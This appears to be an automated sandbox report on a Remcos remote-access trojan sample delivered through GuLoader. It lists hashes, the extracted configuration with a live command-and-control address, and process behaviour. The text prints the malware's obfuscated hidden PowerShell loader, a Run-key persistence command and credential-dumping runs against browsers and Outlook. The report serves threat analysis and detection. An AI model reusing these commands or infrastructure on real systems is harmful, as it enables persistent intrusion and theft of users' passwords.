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Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
08/10/2024, 01:15
Static task
static1
Behavioral task
behavioral1
Sample
2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe
Resource
win10v2004-20241007-en
General
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Target
2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe
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Size
632KB
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MD5
84e09bf944042fbd418724cddb729516
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SHA1
8d908f01be478390e49bfe51fbca4959af157e1f
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SHA256
2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3
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SHA512
803912c31ef4e413d7b251fc400950aca18ae522ac5a0b87d51a459182b112edbcad78b506a8cbe7c12eb18b5a4c2825b139107edb7bd2dda6bd18fe43421e78
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SSDEEP
12288:UElGNmPCeBgjfiWxnlApvOvcrG7fhbL7TWxv69jIQS6lpOYCUjJ+i:5lGUPBBDulAxOErGLN7avBQTlpvCU3
Malware Config
Extracted
remcos
Rem_doc2
107.173.4.16:2404
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-DSGECX
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
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Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/memory/708-71-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/3868-69-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/4544-76-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/4544-76-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/3868-69-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 736 powershell.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts wabmig.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Markedsandel = "%Rykningspaategningens% -windowstyle minimized $Unbaked=(Get-ItemProperty -Path 'HKCU:\\kompositioner\\').Batikker;%Rykningspaategningens% ($Unbaked)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 5036 wabmig.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 736 powershell.exe 5036 wabmig.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 736 set thread context of 5036 736 powershell.exe 88 PID 5036 set thread context of 3868 5036 wabmig.exe 96 PID 5036 set thread context of 4544 5036 wabmig.exe 97 PID 5036 set thread context of 708 5036 wabmig.exe 98 -
Drops file in Program Files directory 1 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Common Files\Noumenalize\solipsists.cru 2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Fonts\Urim.ini 2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wabmig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wabmig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wabmig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wabmig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1092 reg.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 3868 wabmig.exe 3868 wabmig.exe 708 wabmig.exe 708 wabmig.exe 3868 wabmig.exe 3868 wabmig.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
pid Process 736 powershell.exe 5036 wabmig.exe 5036 wabmig.exe 5036 wabmig.exe 5036 wabmig.exe 5036 wabmig.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 736 powershell.exe Token: SeDebugPrivilege 708 wabmig.exe -
Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 2272 wrote to memory of 736 2272 2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe 85 PID 2272 wrote to memory of 736 2272 2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe 85 PID 2272 wrote to memory of 736 2272 2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe 85 PID 736 wrote to memory of 5036 736 powershell.exe 88 PID 736 wrote to memory of 5036 736 powershell.exe 88 PID 736 wrote to memory of 5036 736 powershell.exe 88 PID 736 wrote to memory of 5036 736 powershell.exe 88 PID 736 wrote to memory of 5036 736 powershell.exe 88 PID 5036 wrote to memory of 1680 5036 wabmig.exe 91 PID 5036 wrote to memory of 1680 5036 wabmig.exe 91 PID 5036 wrote to memory of 1680 5036 wabmig.exe 91 PID 1680 wrote to memory of 1092 1680 cmd.exe 93 PID 1680 wrote to memory of 1092 1680 cmd.exe 93 PID 1680 wrote to memory of 1092 1680 cmd.exe 93 PID 5036 wrote to memory of 3380 5036 wabmig.exe 94 PID 5036 wrote to memory of 3380 5036 wabmig.exe 94 PID 5036 wrote to memory of 3380 5036 wabmig.exe 94 PID 5036 wrote to memory of 3048 5036 wabmig.exe 95 PID 5036 wrote to memory of 3048 5036 wabmig.exe 95 PID 5036 wrote to memory of 3048 5036 wabmig.exe 95 PID 5036 wrote to memory of 3868 5036 wabmig.exe 96 PID 5036 wrote to memory of 3868 5036 wabmig.exe 96 PID 5036 wrote to memory of 3868 5036 wabmig.exe 96 PID 5036 wrote to memory of 3868 5036 wabmig.exe 96 PID 5036 wrote to memory of 4544 5036 wabmig.exe 97 PID 5036 wrote to memory of 4544 5036 wabmig.exe 97 PID 5036 wrote to memory of 4544 5036 wabmig.exe 97 PID 5036 wrote to memory of 4544 5036 wabmig.exe 97 PID 5036 wrote to memory of 708 5036 wabmig.exe 98 PID 5036 wrote to memory of 708 5036 wabmig.exe 98 PID 5036 wrote to memory of 708 5036 wabmig.exe 98 PID 5036 wrote to memory of 708 5036 wabmig.exe 98
Processes
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C:\Users\Admin\AppData\Local\Temp\2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe"C:\Users\Admin\AppData\Local\Temp\2263f87e66243b4f0d6b1bb79e0638c6556b5d89a2506ad9db5c30cc02bbdcc3.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2272 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Semiexpositive=Get-Content 'C:\Users\Admin\AppData\Roaming\euthanasic\satineredes\Gammastraales\Skeletonlike.pas';$Folkedyb=$Semiexpositive.SubString(54300,3);.$Folkedyb($Semiexpositive)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:736 -
C:\Program Files (x86)\windows mail\wabmig.exe"C:\Program Files (x86)\windows mail\wabmig.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:5036 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Markedsandel" /t REG_EXPAND_SZ /d "%Rykningspaategningens% -windowstyle minimized $Unbaked=(Get-ItemProperty -Path 'HKCU:\kompositioner\').Batikker;%Rykningspaategningens% ($Unbaked)"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1680 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Markedsandel" /t REG_EXPAND_SZ /d "%Rykningspaategningens% -windowstyle minimized $Unbaked=(Get-ItemProperty -Path 'HKCU:\kompositioner\').Batikker;%Rykningspaategningens% ($Unbaked)"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:1092
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C:\Program Files (x86)\windows mail\wabmig.exe"C:\Program Files (x86)\windows mail\wabmig.exe" /stext "C:\Users\Admin\AppData\Local\Temp\qqkpuuethivqdcpfbyzzauofk"4⤵PID:3380
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C:\Program Files (x86)\windows mail\wabmig.exe"C:\Program Files (x86)\windows mail\wabmig.exe" /stext "C:\Users\Admin\AppData\Local\Temp\qqkpuuethivqdcpfbyzzauofk"4⤵PID:3048
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C:\Program Files (x86)\windows mail\wabmig.exe"C:\Program Files (x86)\windows mail\wabmig.exe" /stext "C:\Users\Admin\AppData\Local\Temp\qqkpuuethivqdcpfbyzzauofk"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3868
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C:\Program Files (x86)\windows mail\wabmig.exe"C:\Program Files (x86)\windows mail\wabmig.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ssphvnouvqndfidrsjmsdgbwtioh"4⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:4544
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C:\Program Files (x86)\windows mail\wabmig.exe"C:\Program Files (x86)\windows mail\wabmig.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dmuawfzojyfhpozvbuzuolvfcoyitoa"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:708
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD575379d3dcbcea6a69bc75b884816dd40
SHA17e073a03c3bdbbc60375ddbe56bba211c3d412a6
SHA256cab559f3bbe4a0beb194dffca723b3072184b92687100462eaab04d66fff8de9
SHA512710c2cee369a57a0039fc0d0c59de6118780210ef60ad0daf374f03ba94ab08039bc2aff821f7c99a0ecd0e16189c52e5b6d630b3d541f7b11375f134b985e8c
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Filesize
53KB
MD5255119688c7065754a83c8ab994df0e0
SHA160d2f2b79e0ff83f5a44edec89b296f989eff2bb
SHA2568289effe39fd7a273415735aaf3dda665c94473b7c8b698a088886ac52b4ec72
SHA5120d956e851a7ddc97906b79d82c412cf1d49d7954244bf0d2a780857c1e15be0533862d9b88ce77c9f9dab289d6bb1eb5528ff53dc780110fc788dc2eff4e5f04
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Filesize
339KB
MD56786d85d171f0a5872e24f5ae5d403a1
SHA18dd2a7e274f4ab1b278350f373abeb6ac540db6b
SHA2567dd49bad8787a69b6afc1ac6db875cb9c0da93990d6251f45b4ff6e88fdebb6f
SHA51202c69c706292c0e098e09e8c9b975fc746145b3edc0330bfc0656512b250016aac0deb49501416dab6cd0b79e927cd36fd0699a48ab90f67221097f7c38e86e1